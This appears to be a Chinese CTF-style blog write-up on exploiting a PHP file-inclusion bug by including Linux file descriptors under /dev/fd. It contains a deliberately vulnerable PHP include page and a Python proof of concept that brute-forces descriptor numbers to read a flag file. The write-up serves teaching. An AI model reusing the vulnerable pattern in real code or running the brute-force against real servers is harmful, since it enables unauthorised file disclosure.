0x00 原理

  文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。

  • 翻译成人话- 可以认为是指向文件的一个指针,如果有文件被打开,就生成一个指针指向打开文件的位置。
  • 文件描述符一般在linux的 /dev/fd/目录下

0x01 代码审计

<?php
$fp = fopen("flag.txt", "r");
echo $fp;
if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
include($_GET['include']);
}
fclose($fp);
echo highlight_file(__FILE__, true);
?>

访问页面

  之前犯了一个小错误,我以为只要打开文件然后查看/dev/fd目录就能看到新生成的指针, 实在有点天真, 手速怎么可能比电脑快呢?然后就是开始乱查,是不是自己linux权限问题还是php有问题,或者是不能包含文件描述符?最后问了问大佬,马上就知道错在哪了,认识大佬真好。

大佬建议写个脚本进行观察

<?php
var_dump(scandir("/dev/fd/"));
$fp=fopen("flag.txt","r");
echo '<br/>'; var_dump(scandir("/dev/fd/"));
echo '<br/>';
fclose($fp);
var_dump(scandir("/dev/fd/"));
echo '<br/>';
?>

这里我打开的是flag.txt,观察生成的文件描述符名字是什么



可以看到 当fopen函数打开了 flag.txt时,扫描的fd目录下突然多出了13,然而13是因为存在12才出现的。可能是文件描述符源码中数组下标的问题。第12个指针才是真正保存文件位置的指针。

如果是黑盒渗透的情况下,我们需要写脚本进行爆破。

poc

import requests
url='http://localhost/fa.php'
for i in range(0,100):
payload=f'?include=/dev/fd/{i}'
#print(url+payload)
r=requests.get(url+payload)
if "flag={" in r.text:
print(r.text)
print(payload)

  通过枚举法爆破每个目录下的文件名,因为文件描述符的文件名是根据打开文件的个数生成的,比如0代表打开第一个文件,1代表打开第二个文件。



可以得到flag

文件包含之包含了Linux文件描述符的更多相关文章

  1. [fw]LINUX中断描述符初始化

    LINUX中断描述符初始化 @CopyLeft by ICANTH,I Can do ANy THing that I CAN THink!~ Author: WenHui, WuHan Univer ...

  2. Linux进程描述符task_struct结构体详解--Linux进程的管理与调度(一)【转】

    Linux内核通过一个被称为进程描述符的task_struct结构体来管理进程,这个结构体包含了一个进程所需的所有信息.它定义在include/linux/sched.h文件中. 谈到task_str ...

  3. Linux 标准文件描述符

    出于特殊目的,bash shell保留了最早的3个文件描述符0.1.2,如下所示: 1.STDIN标准输入 Shell从STDIN文件描述对应的键盘获得输入,在用户输入时处理每个字符. 范例1:cat ...

  4. 本地上传文件至服务器的技巧(linux文件压缩及解压文件)

    linux(ubuntu)文件解压及压缩文件 ubuntu支持文件的解压及压缩功能, 如果ubuntu上面没有安装过unzip工具的话,可以通过下面命令安装: sudo apt-get install ...

  5. Linux 文件描述符详解

    Overview 了解Linux怎样处理输入和输出是非常重要的.一旦我们了解其原理以后,我们就可以正确熟练地使用脚本把内容输出到正确的位置.同样我们也可以更好地理解输入重定向和输出重定向. Linux ...

  6. linux一切皆文件之Unix domain socket描述符(二)

    一.知识准备 1.在linux中,一切皆为文件,所有不同种类的类型都被抽象成文件(比如:块设备,socket套接字,pipe队列) 2.操作这些不同的类型就像操作文件一样,比如增删改查等 3.主要用于 ...

  7. Linux文件I/O学习

    Linux内核的VFS子系统: 文件描述符     对于内核而言,所有打开的文件都通过文件描述符引用.文件描述符是一个非负整数.当打开一个现有文件或创建一个新文件时,内核向进程返回一个文件描述符.当读 ...

  8. Linux文件和目录的属性及权限总结

    本文讲述的是文件或目录的属性及权限,比如索引节点inode.文件类型.文件权限及属主:还对setuid.setgid及粘贴位进行了相关的讲解.其中,对ln.chmod.chown.chgrp.umas ...

  9. 18 shell 重定向以及文件描述符

    1.对重定向的理解 2.硬件设备和文件描述符 文件描述符到底是什么 3.Linux Shell 输出重定向 4.Linux Shell 输入重定向 5.结合Linux文件描述符谈重定向 6.Shell ...

  10. Linux文件时间属性

    Linux文件时间属性                                                                                         ...

随机推荐

  1. 【NCRE】三级网络技术 选择题易错点记录(1)

    部分易错点 连接到一个集线器的多个节点不能同时发送数据帧 嵌入式安装插座用来连接双绞线 异步串行端口 PPP 同步串行端口 PPP/HPLC 对于频繁改变位置并使用DHCP获取IP地址的DNS客户端, ...

  2. 华为分析+App Linking:一站式解决拉新、留存、促活难

    移动互联网时代,用户注意力稀缺,"如何让用户一键直达APP特定页面"越来越受到产品和运营同学的关注. 比如在各个渠道投放了APP安装广告,希望新用户下载APP首次打开时直接进入活动 ...

  3. 自动化kolla-ansible部署ubuntu20.04+openstack-victoria之镜像制作fedora27-18

    自动化kolla-ansible部署ubuntu20.04+openstack-victoria之镜像制作fedora27-18 欢迎加QQ群:1026880196 进行交流学习   制作OpenSt ...

  4. Run Horovod

    Run Horovod https://horovod.readthedocs.io/en/stable/running_include.html https://horovod.readthedoc ...

  5. Linux执行.sh文件,提示No such file or directory的问题

    问题描述 在window平台下,写好shell脚本文件,迁移到linux平台,赋过可执行权限,执行该sh文件,却提示NO such file or directory 解决方案 难道是文件格式兼容性问 ...

  6. hibernate的三种查询方式

    hibernate的三种查询方式 目录 hibernate的三种查询方式 1.HQL查询 1.1.SQL概述 1.2.实体查询 1.3.带where的查询 1.3.属性查询 1.4.实体的更新和删除 ...

  7. 06- Linux Ubuntu下sublime下载与使用与安装包

    我有Linux下全套的安装包,如sublime,pycharm等.不用再苦逼的下软件了.需要的加我微信:chimu sublime text 3文本编辑器 启动命令:Linux命令行输入subl 或者 ...

  8. 5. Linux常用命令

    clear命令: 作用:清屏 快捷键:Ctrl + L pwd命令: 作用:用于显示当前的工作路径位置(当前工作文件夹) 示例: $ pwd /home/tarena Linux/Unix下的路径: ...

  9. 【Set】Set集合求并集,交集,差集

    /** * @author: Sam.yang * @date: 2020/11/16 11:14 * @desc: Set集合操作工具类 */ public class SetOptUtils { ...

  10. 【Springboot】FastJson与Jackson全局序列化方式的配置和相关工具类

    springboot 版本: <parent> <groupId>org.springframework.boot</groupId> <artifactId ...